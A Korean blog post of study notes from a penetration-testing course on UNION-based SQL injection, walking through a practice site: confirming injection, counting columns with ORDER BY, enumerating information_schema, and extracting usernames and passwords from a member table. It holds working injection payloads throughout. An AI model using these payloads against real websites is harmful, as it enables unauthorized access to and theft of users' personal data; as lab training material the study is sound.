모의해킹 스터디 복습

모의해킹 스터디 6주차: UNION SQL Injection

whydontyoushovel 2024. 11. 24. 01:22

 

 

SQL Injection

DB에서 준비한 쿼리문에 SQL 구문을 주입하여 로그인, 인증을 우회하거나

DB의 데이터를 추출할 수 있는 해킹 기법. 

 


 

◈  UNION SQL Injection

 

 

  • 지난주에 배운 것

SQL Injection으로 로그인, 인증을 우회하는 법.

 

  • 이번주에 배울 것

SQL Injection으로 DB 데이터를 추출하는 방법.

 

 

로그인, 인증 우회는 대부분 로그인 페이지에서 이루어진다.

DB 데이터 추출은 어디서 이루어질까?

 

DB 데이터가 쓰이는 부분에서 이루어진다!! 

 

하나의 웹 사이트에서 DB 데이터가 쓰이는 곳은 많음.

 

그 중 쿼리문의 결과(DB에 저장된 데이터)가

화면에 나오는 곳이 있고 나오지 않는 곳이 있음.

 

  • 화면에 나오는 곳 예시

1) 게시판 검색

2) 마이페이지

 

 

  • 화면에 나오지 않는 곳 예시

1) 로그인

2) 아이디 중복 체크

 

 

UNION SQL Injection은 이 중 화면에 나오는 곳에서 사용할 수 있음.

당연함. 그래야 DB 데이터를 보고 추출할 수가 있음.

(근데 안 보이는 곳에서 사용하는 법도 있는 듯함. 이것도 앞으로 배울 것. 두근두근)

 

 

UNION SQL Injection의 개짱인 점은 다른 테이블의 데이터를 뽑을 수 있다는 점이다.

 

예를 들어 서버가 준비한 쿼리문이 board 테이블에서 데이터를 찾는 select문이라면

이 쿼리문에 union select구문을 넣어서 member 테이블의 정보를 뽑아낼 수 있다.

 

 

위와 같이 사용자가 저장된 테이블에서 id가 haha인 사용자의 id와 비밀번호 데이터를 추출할 수 있다.

하지만 게시판 검색창에서 기본적으로 쓰이는 select문은 저런 형태가 아닐 것이다.

 

 

검색창에서 쓰이는 SQL 구문은 위와 같을 가능성이 높다.

SELECT * FROM board WHERE title LIKE '%______%';

 

LIKE 구문을 사용하면 사용자가 "오" 만 검색해도 "오늘 저녁 추천"부터 "오랜만에", "저희 집 강아지님 오구오구" 까지 제목에 "오"가 있는 모든 게시물을 찾아낼 것이다.

 

그럼 저 SQL에서 어떻게 하면 haha의 id와 비번을 털 수 있을까?

위에서 haha의 정보를 검색한 select문을 union으로 연결하여 추가하면 된다.

 

데이터를 추가할 수 있는 곳은 저 % 사이이다.

저 사이에 select id, pass1 from regi_table where id = 'haha'를 추가하기 위해서는

 

%' union select id, pass1, 3, 4, 5, 6 from regi_table where id = 'haha' # 을 넣으면 된다.

 

 

SELECT * FROM board WHERE title LIKE '% %'
union select id, pass1, 3, 4, 5, 6 from regi_table where id = 'haha' # %';

 

%' 로 검색어 삽입할 구문을 닫고 union 구문을 넣는다.

마지막엔 #을 붙여 필요 없는 %' 부분을 주석처리한다.

 

그럼 아래와 같은 결과 화면을 얻을 수 있다.

 

이를 실행할 때 에러가 3번이 났는데

 

 

한 번은 게시물을 저장한 테이블의 이름이 틀려서,

두 번은 사용자 데이터를 저장한 테이블의 컬럼명이 틀려서,

마지막은 union으로 붙인 쿼리문에서 사용한 열 개수가 *로 표현된 열 개수와 맞지 않아서이다.

(upload_table의 전체 열 개수 => 6개)

 

 

여기서 UNION을 사용할 때 주의해야할 부분을 발견할 수 있다.

 

1) 테이블 이름을 제대로 알아야 한다.

2) 컬럼 이름을 제대로 알아야 한다.

3) 앞의 select문에 사용된 열 개수와 union에 쓰이는 열 개수가 일치해야한다.

 

위 조건이 맞아 떨어져야 union 구문으로 DB 데이터를 추출할 수 있다.

 

 

이 실습에 사용된 테이블은 내 개인 테이블이라 정보를 쉽게 알 수 있었지만

남의 DB에 사용된 테이블과 컬럼 이름이 뭔지,

열 개수가 몇 개인지 어떻게 알 수 있단 말인가?!

 

 

UNION SQL Injection은 바로 여기서부터 시작해야한다.

 

 

알아내야하는 데이터와 이유

더보기

 

열 개수 -> ORDER BY로 알아냄

             -> 다르면 에러

             -> 열 개수 다르면 찾은 데이터를 어떤 열에 넣어야할지 알 수 없어서 에러가 난다고 함.

 

컬럼 명 -> 알기 위해 먼저 테이블 명을 알아야 함

 

테이블 명 -> 알기 위해 먼저 DB이름을 알아야 함

 

DB 명 -> 이걸 알아야 테이블 명을 알아냄

 

______________(컬럼, 테이블, DB 이름을 저장하고 관리하는 테이블이 따로 있음. DBMS 시스템이 관리)

 

이걸 찾아내기에 앞서 sql injection이 되는지 확인하는 절차가 필요하고

그래서 게시판에 출력되는 컬럼이 전체 사용되는 컬럼 중 몇 번째에 있는지도 알아내야 함

 

그래야 union sql injection을 사용할 수 있는 곳인지 알아낼 수 있고

출력한 데이터가 화면에 제대로 노출되게 할 수 있음.

 

 

 

 

 

◈  UNION SQL Injection 실습

 

 

알려주신 개꿀 절차가 있다.

뭔가 꼬였을 때 큰 도움이 되어줄 것이다.

 

 

1) SQL Injection 포인트 찾기

-

2) 서버측 쿼리문의 컬럼 개수 알아내기

-

3) 출력되는 컬럼 위치 알아내기

-

4) DB 이름 확인

-

5) table 이름 확인

-

6) 컬럼 이름 확인

-

7) 데이터 추출 

 

 

이제 실습 사이트에서 차근차근 실습해보자.

 

 

 

 

㉮  SQL Injection 포인트 찾기

 

 

SQL Injection이 발생할지 확인하기 전에

이 사이트의 검색은 어떤 식으로 처리될지, 그렇다면 어떤 쿼리문이 준비되어있을지 확인해본다.

 

실습 사이트의 대문이다. 게임 검색 기능이 있는 듯하다.

 

overwatch를 검색해본다.

 

검색 결과 name, score, production 필드를 노출시키고 있다.

 

over만 검색해보자.

 

똑같은 검색 결과가 나왔다.

LIKE 를 사용 중이다.

 

예상 가능한 서버 측 쿼리문은

SELECT _____________ FROM ____ WHERE name LIKE '%____%'; 이다.

 

like에 사용자 입력값이 들어가고 있으나

사용된 컬럼개수와 이름, 테이블 이름은 아직 알 수 없다.

 

 

이제 SQL Injection이 일어날 가능성이 있는지 확인한다.

작동원리는 지난주에 배운 doldol' and '1'='1 과 같다. 항등원을 추가해 입력해보는 것이다.

다만 이번 구문에는 like가 쓰였기 때문에 이에 맞춰서 준비해야한다.

 

 

over%' and '1%'='1

을 넣어 검색하면 결과적으로

 

'%over%' and '1%'='1%' 를 검색한 꼴이 된다.

결과를 확인한다.

 

같은 결과가 나온다.

 

항상 거짓이 되는 구문도 검색해본다. (over%' and '1%'='2)

검색 결과가 없다는 경고창이 뜬다.

 

 

SQL Injection이 일어날 수 있는 사이트임을 확인했다.

 

 

 

 

추가로, over를 빼고 검색하면 모든 검색결과를 확인할 수 있다.

 

(실습사이트의 경우 출력 데이터가 얼마 없어 상관없지만 실무 환경에선 결과가 수두룩빽빽일 것이니 최대한 결과가 얼마 없는 검색어를 이용하여 찾는 게 좋을 것 같다.)

 

 

 

또한 >>  %' and '%1'='1  <<로 검색할 시 결과를 찾을 수 없다는 경고창이 뜬다.

 

이는 LIKE '%over% and '%1'='1%'를 쿼리로 인식하지 않는다는 뜻이 되는데

'%1'과 '1%'가 다른 문자열로 인식되기 때문이다.

 

 

서버 측 검색 쿼리에 따라 뒤에 '__%'는 고정된다. ('%over%' and ____%')

문자를 만들려면 1%처럼 %가 뒤에 오는 것밖에 만들지 못한다.

 

이때 '1%'와 비교할 값을 항상 참이 되게끔, 똑같은 형태로 만들어줘야

항등원으로써 역할을 할 수 있는 것이다.

('%over%' and '1%'='1%')   ('%over%' and 'a%'='a%' 등도 가능)

 

 

 

 

㉯  컬럼 개수 찾기

 

order by 문을 활용하면 된다.

 

order by는 검색 결과를 지정한 컬럼을 기준으로 정렬하는 기능을 하는데

쿼리문 맨 뒤에 붙여써야한다. (중간에 갖다 두면 에러남)

(asc -> 디폴트, 오름차순/ desc -> 내림차순)

 

order by는 기본적으로 이런 형태를 따른다.

 

order by [컬럼명] [정렬방식]   

 

 

또한 컬럼명 대신 컬럼이 있는 위치의 번호를 써서 정렬시킬 수 있는데,

 

예를 들어 order by id 를 실행하고자 할 때

만약 id 컬럼이 사용된 컬럼 중 세번째에 있다면

 

order by 3 과 같이 사용할 수도 있다는 뜻이다.

이를 인덱스 번호로 정렬시킨다고 한다.

 

하지만 없는 인덱스 번호로 정렬시키려고 하면 이 또한 오류가 발생한다.

(5개가 끝인데 order by 6을 실행하면 오류)

 

이 오류를 이용하여 컬럼의 개수를 찾을 수 있다!!!!!

 

 

 

게시판 검색창에 %' order by 1 #

                                               2 #

                                               3 #

                                               4 #

와 같이 한개씩 늘리든 하여 오류가 나거나 화면이 빈 페이지를 출력하면

사용된 컬럼이 그만큼은 없다는 뜻이 된다.

 

실습해보자.

 

order by 1#을 검색한 결과이다.
order by 2#을 검색한 결과이다.
order by 3#을 검색한 결과이다. 출력 순서가 score를 기준으로 오름차순으로 바뀌었다.
order by 4#을 검색한 결과이다. production을 기준으로 오름차순으로 바뀌었다.

 

 

%' order by 1#    ~5#까지 검색한 결과 5#에서 빈 페이지를 확인할 수 있었다.

출력되는 컬럼은 3개지만 실제 사용되는 컬럼 개수는 4개인 것이다.

 

게다가 1부터 1씩 증가시키며 확인할 때 출력되는 결과에 따라

어떤 컬럼이 몇 번째에 오는지도 대충 확인할 수 있었다. 물론 확실하게 확인하기 위한 방법도 있다.

 

 

 

 

㉰  출력되는 컬럼의 위치 찾기

 

개수를 알아낸 이후부터는 union select문을 추가할 수 있다.

union select문을 추가하여 나온 결과를 통해 컬럼의 위치까지 알아낼 수 있다.

 

union select문은 앞에서 실행되는 select문의 결과에 덧붙여져 나온다.

union select 1,2,3,4와 같은 구문을 덧붙이면 앞에서 실행되는 select문의 결과 아래로

1,2,3,4라는 데이터가 1열, 2열, 3열, 4열에 붙어서 출력되는 것이다.

 

 

실습해보자!!

 

 

확인 결과 실습 사이트에 출력되는 컬럼은 2, 3, 4번째에 위치한 걸로 보인다.

 

이제 저 구문은 마법의 문장이 될 것이다.

필요한 데이터에 맞게 저기서 수정하면 되기 때문이다.

 

내가 털 DB의 데이터가 몇 번째 컬럼에서 출력될지까지 확인했으니!!

회원 정보가 저장된 테이블의 이름과, 중요한 정보가 저장된 컬럼명만 알면 된다!!

 

 

근데 얘네를 알기 위해서는 우선 DB 이름을 알아야한다.

 

 

 

 

㉱  DB 이름 찾기

 

내가 디비 네임을 어캐 알아~~~

 

알 수 있는 쿼리문이 있다.

SELECT database();

 

이걸 %' union select 1,2,3,4#에 적절히 버무리면 위에서 본 화면과 같이

쿼리 결과 하단에 데이터베이스 명이 나타날 것이다.

 

datebase()를 어디다 넣어야할까~~~요

1? ㄴㄴ

 

1 위치 빼고 아무데나 넣으면 된다.

확인을 위해 굳이굳이 3 위치에 넣어보았다.

 

결과를 확인해보니 이 사이트는 segfault_sql이라는 이름의 데이터베이스를 사용 중이다.

 

다음에 찾을 정보도 이런 식으로 넣는다.

이제 이 DB에 어떤 테이블이 있는지 확인할 차례이다.

 

 

 

㉲  테이블 이름 찾기

 

테이블 이름을 찾는 쿼리문도 있나?!

 

비슷한게 있다.

근데 table_name() 이런 식으로 뚝딱 나오는 건 아니다.

 

먼저 노려야 할 것은 다른 테이블이다.

여기엔 시스템이 서버 관리를 위해 필요한 모든 테이블이나 컬럼명을 저장해두고 있다.

 

 

아래가 테이블 이름을 알기 위한 쿼리문이다.

SELECT table_name 
FROM information_schema.tables 
WHERE table_schema='알아낸 DB 이름';

 

inforamtion_schema라는 DB의 tables라는 컬럼이 있는데

거기에서 table_schema가 segfault_sql인 행의 table_name을 뽑으라고 할 것이다.

(이래서 사용 중인 DB의 이름을 알아내야 하는 것이다.)

 

이것도 %' union select 1,2,3,4#에 넣어야 한다.

 

어떻게~?

%' UNION SELECT 1,2,table_name,4
FROM information_schema.tables
WHERE table_schema='segfault_sql'#

 

이렇게.

이번엔 굳이굳이 4번 위치에 추출하길 원하는 컬럼명을 넣어봤다.

 

3행까지가 서버측 쿼리문이 준비한 테이블의 데이터이고

4행부터 union sql injection으로 추출한

'segfault_sql'이라는 DB에 속한 테이블들이다.

 

아마 서버에서 현재 사용 중인 테이블이 game이라는 테이블일 것 같다.

이쯤되니 1번 컬럼의 이름이 궁금해진다.

 

이번엔 컬럼의 이름을 알아낼 차례이다.

 

 

 

 

㉳  컬럼 이름 찾기

 

앞서 말했듯이 DB 시스템은 서버 관리를 위해 테이블이름 뿐만 아니라

컬럼 이름도 따로 저장하고 있다.

 

그것을 찾기 위한 쿼리문은 바로 이것이다.

SELECT column_name
FROM information_schema.columns
WHERE table_name = '알아낸 테이블 이름';

 

(이래서 테이블 이름을 알아내야 했던 것이다.)

 

이제 이걸 %' union select 1,2,3,4#에 적용시키자.

 

%' UNION SELECT 1,column_name,3,4
FROM information_schema.columns
WHERE table_name='game'#

 

이걸 사이트의 검색창에 입력해보면,

 

이런 결과를 얻을 수 있다.

1번 컬럼에는 idx가 있었다는 것을 알 수 있다. 음 그럴 거 같았다.

 

 

하지만 game테이블은 segfault_sql DB에서 가장 중요한 정보는 아닐 것이다.

가장 중요한 정보라면 단연 사용자 개인 정보이다.

 

사용자의 정보가 담긴 테이블이라면 아마 위에서 찾았던 테이블 중

member에 있을 것이니 이 테이블의 컬럼이름을 출력해본다.

 

 

member 테이블에 저장된 컬럼이름들이다.

user_id       user_pass     name

user_level  info                id

pass           email   이 있다.

 

이제 DB를 털기 위한 준비는 끝났다.

여기서 id와 pass 컬럼의 데이터를 추출해보자.

 

 

 

 

㉴  데이터 추출하기

 

 

user_id         user_pass       name

user_level    info                  id

pass             email 

 

이 컬럼 중에 만약 모든 사용자의 id와 pass 데이터를 보고 싶다면

일반적으로 이런 쿼리문을 사용할 수 있다.

SELECT id,pass
FROM member;

 

 

이걸 이제 %' UNION SELECT 1,2,3,4#에 적용시키면 이렇게 할 수 있다.

%' UNION SELECT 1,id,pass,4 
FROM member#

 

 

쿼리문을 실행한 결과가 아래와 같이 출력된다.

 

이제 게시판 같은 페이지에서 사용자들의 정보를 볼 수 있게 된 것이다. (아 물론 나만)

 

 

(user_id와 user_pass, user_level도 봐보고싶은데 빈 화면만 출력된다.

user라는 단어를 막아놓으신 걸까?

사실 다른 테이블에서 플래그를 하나 발견했는데

어디에다 입력해도 아니라길래 냅뒀었다..)

 

 

 

 

 

◈  미니미션: doldol의 데이터 한 행만 나오도록 union 쓰기

 

문제 페이지이다.

 

1) SQL Injection 포인트 찾기

 

작동 방식을 알기 위해 뭔가 검색해본다.

위와 같은 결과가 나왔다.

1234를 입력한 결과이니 이 사이트는 사용자 비밀번호를 입력해서

해당하는 사용자의 데이터를 추출하는 모양이다.

 

 

이제 SQL Injection이 가능한지 검사해본다.

 

가능해보인다.

 

내친김에 모든 사용자의 데이터도 추출해본다.

 

총 4개의 사용자 데이터를 확인할 수 있었다.

나는 여기서 doldol의 행만 뽑아내야한다. 오우쒸 aaaa검색하면 되는 거 아냐?

 

안된다. 

안되는 이유는 다른 조건 때문일 것이다.

그건 아마 id일 확률이 높다.

 

예상 가능한 서버 측 쿼리 문은 이런 형태이다.

SELECT * FROM member WHERE id='normaltic' and pw='_____';

 

확인을 위해 모든 사용자의 비밀번호를 차례로 입력해본다.

저 쿼리문이 맞다면 1234 외엔 어떤 것도 결과를 얻을 수 없을 것이다.

 

맞다.

 

저 쿼리문에서 doldol의 데이터만 뽑기 위해선

앞의 and문을 거짓으로 만들고 or문으로 연결된 쿼리문에서 doldol만 찾도록

조건을 부여해야한다.

 

' or 아이디컬럼 = 'doldol

혹은 ' or 비밀번호컬럼 = 'aaaa 등을 이용하여 돌돌만 출력할 수 있지만

가장 중요한 아이디 컬럼명과 비밀번호 컬럼명을 모른다.

 

이를 알기 위해 UNION SQL Injection을 써야한다.

 

 

앞에서 배운 순서를 차근차근 따라가보자.

 

 

 

<컬럼 개수 알아내기>

 

order by 구문을 사용한다.

 

1부터 5까지 입력한 결과 서버 측 쿼리문에 사용되는 컬럼 개수는 4개임을 알 수 있다.

 

 

 

 

<데이터베이스명 알아내기>

 

 

컬럼명과 테이블 명을 알기 위해 데이터베이스명을 찾아낸다.

 

 

서버가 사용 중인 DB의 이름은 segfault_sql임을 알 수 있다.

어? 이거 위에서도 쓰지 않았나?

 

 

 

 

<테이블명 알아내기>

 

 

이제 segfault_sql이라는 DB에 저장된 테이블의 이름을 알아낼 차례다

아래 쿼리를 입력한다.

' UNION SELECT 1,table_name,3,4
FROM inforamtion_schema.tables
WEHRE table_schema='segfault_sql'#

 

저장된 테이블의 이름을 알아낼 수 있다.

위에서 찾았던 member 테이블에 있는 데이터인 것 같다.

 

컬럼명은 찾은 걸로 하고

' UNION SELECT column_name,2,3,4 
FROM information_schema.columns 
WHERE table_name='member'#

 

 

 

 

<데이터 추출하기>

 

 

doldol의 데이터만 추출하기 위해 알아낸 컬럼명과

doldol만 찾을 조건문을 추가해준다.

 

' UNION SELECT id,pass,email,info
FROM member
WHERE id='doldol'#

 

다음과 같은 데이터를 얻을 수 있었다.

 

하하하 미션 컴플리팃~